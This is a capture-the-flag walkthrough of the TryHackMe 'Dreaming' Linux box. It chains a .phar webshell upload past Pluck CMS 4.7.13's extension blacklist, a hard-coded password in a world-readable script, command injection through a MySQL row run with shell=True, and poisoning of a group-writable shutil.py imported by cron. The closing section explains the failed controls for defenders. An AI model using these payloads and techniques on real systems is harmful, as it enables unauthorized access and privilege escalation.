TryHackMe · Linux · Web → Root

Dreaming

A stock Apache box hiding a Pluck CMS 4.7.13 on the second pass of content discovery. Two misconfigurations in the same CMS (a .phar upload and a world-readable helper script) hand over the first two users, and a cron job importing a group-writable Python standard-library file gives the third. Three flags, one box.

Apache/2.4.41 (Ubuntu) Pluck CMS 4.7.13
lucien
THM{TH3_L1BR...
death
THM{1M_TH3R3...
morpheus
THM{DR34MS_5H...

Recon

Full TCP sweep returns a very short list — SSH and HTTP:

port discovery
<target>: discovered 2 open TCP port(s) after checking 65535/65535
  22/tcp   ssh      OpenSSH
  80/tcp   http     Apache httpd 2.4.41 (Ubuntu)

HTTP inspection:
  http://<target>:80/  →  200  "Apache2 Ubuntu Default Page: It works"  (10918 bytes)

A tiny first content pass (10 requests) finds nothing, which is the first red herring — the application lives one directory down.

Enumeration — the app is under /app/

A wider bounded pass with a curated wordlist surfaces /app, which redirects to a directory listing:

content discovery → directory listing
GET /app/            →  200   "Index of /app"
GET /app/pluck-4.7.13/  →  302  →  ?file=dreaming
GET /app/pluck-4.7.13/?file=dreaming  →  200   title "dreaming - dreaming"

# the landing page carries the tell:
admin | powered by pluck

Apache directory listing is enabled on /app/, and the only child is pluck-4.7.13/. That makes this a Pluck CMS 4.7.13 install, and the admin panel is at login.php.

The admin panel — password-only, and guessable

GET /app/pluck-4.7.13/login.php
<title>pluck 4.7.13 - log in</title>
<form action="" method="post">
  <input name="cont1" size="25" type="password" />   # single field, no username
  <input type="text" name="bogus" style="display: none;" />
  <input type="submit" name="submit" value="Log in" />
</form>

A password-only login with no lockout. admin is rejected; password is accepted:

POST login.php — cont1=password
<div class="success">Password correct. Logging you in...</div>
<meta http-equiv="refresh" content="1; url=admin.php?action=start" />
Set-Cookie: PHPSESSID=…

Shell as www-data — the file manager, but through .phar

Dreaming's shell is older than the box. Pluck 4.7.13 stopped running .php uploads a while ago: the file manager renames shell.php to shell.php.txt. Most people stop there. The interesting part is what the blacklist forgot — it only screens a handful of extensions, and .phar sails through:

upload via admin.php?action=files
POST /app/pluck-4.7.13/admin.php?action=files
  filefile = @shell.php            →  stored as  shell.php.txt      ✗ no exec
  filefile = @x.phtml / .php5 …    →  stored as  *.txt              ✗ no exec
  filefile = @x.phar             →  stored as  x.phar            ✓

GET /app/pluck-4.7.13/files/x.phar?c=id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

.phar is mapped to the PHP handler, so a one-line <?php system($_GET["c"]); ?> gives command execution as www-data and a foothold on the box.

Shell as lucien — a password left in /opt

Nothing in the web root, so look at what www-data can read that it shouldn't. /opt is unremarkable except for one world-readable script that the previous admin clearly meant to delete:

cat /opt/test.py
-rwxr-xr-x 1 lucien lucien 483  /opt/test.py

import requests
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "<redacted>"
data = {"cont1":password, "bogus":"", "submit":"Log+in"}
req = requests.post(url, data=data)
if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))

A health-check for the Pluck login with lucien's password hard-coded in plaintext. Straight onto SSH:

ssh lucien@<target>
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
$ cat /home/lucien/lucien_flag.txt
THM{TH3_L1BR...

Note the adm group — later that is worth reading logs with.

Shell as death — command injection through MySQL

sudo -l is the pivot:

sudo -l (lucien)
User lucien may run the following commands on ip-<target>:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

That script reads a MySQL library.dreams table and builds a shell command from the rows — with shell=True:

core of /home/death/getDreams.py
for dreamer, dream in hearts:
    command = f"echo {dreamer} + {dream}"        # dream is attacker-controlled
    shell = subprocess.check_output(command, text=True, shell=True)

So a row whose dream starts with ; runs anything, as whoever the script runs as. lucien holds INSERT on that table (visible in /home/death/.mysql_history) and can run the script as death:

inject → run as death
mysql> INSERT INTO dreams (dreamer,dream) VALUES
         ('x','; cp /home/death/death_flag.txt /tmp/df; chmod 644 /tmp/df');

$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
$ cat /tmp/df
THM{1M_TH3R3...

Shell as morpheus — poisonous cron, poisonous shutil

lucien is in adm, so /var/log/syslog is readable — and it hands over the last piece for free:

grep CRON /var/log/syslog
Oct  1 20:26:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py)
Oct  1 20:27:01 … CRON[…]: (morpheus) CMD (/usr/bin/python3.8 /home/morpheus/restore.py)
# … once a minute, forever

restore.py backs up a file with shutil. Check the permissions on that module:

ls -l /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 /usr/lib/python3.8/shutil.py
                    # group-writable by death — and we are death

$ cat /home/morpheus/restore.py
from shutil import copy2 as backup
backup("/home/morpheus/kingdom", "/kingdom_backup/kingdom")

Append a payload to shutil.py as death; the next time the morpheus cron imports it, the payload runs as morpheus:

poison shutil as death → executes at next cron tick
# as death:
$ echo 'import os; os.system("cp /home/morpheus/morpheus_flag.txt /tmp/mf; chmod 644 /tmp/mf")' \
      >> /usr/lib/python3.8/shutil.py

# up to 60 s later, the cron's python3.8 imports shutil:
$ cat /tmp/mf
THM{DR34MS_5H...

Beyond root — what actually made this easy

Three separate controls were each one line away from stopping this:

StepControl that failed
.phar uploadUpload blacklist screened .php, .phtml, .php5, .php7, .pht — but not .phar, which Apache still maps to the PHP handler.
lucienA password only existed in a script that should never have been world-readable, and reused on SSH.
morpheusA standard-library file (shutil.py) was group-writable by a low-privileged user, and a cron ran a script that imports it. Standard library must never be group-writable, and cron scripts should never import from a writable path.

The chain

Apache / Pluck 4.7.13
content discovery → /app/
↓guessable password
Admin panel
password-only login, no lockout
↓.phar upload bypass
www-data
webshell via files/x.phar
↓world-readable /opt/test.py
lucien
plaintext password → SSH
↓sudo + MySQL injection in getDreams.py
death
INSERT + shell=True
↓group-writable shutil.py + cron
morpheus
stdlib poison → cron import → RCE

← all THM writeups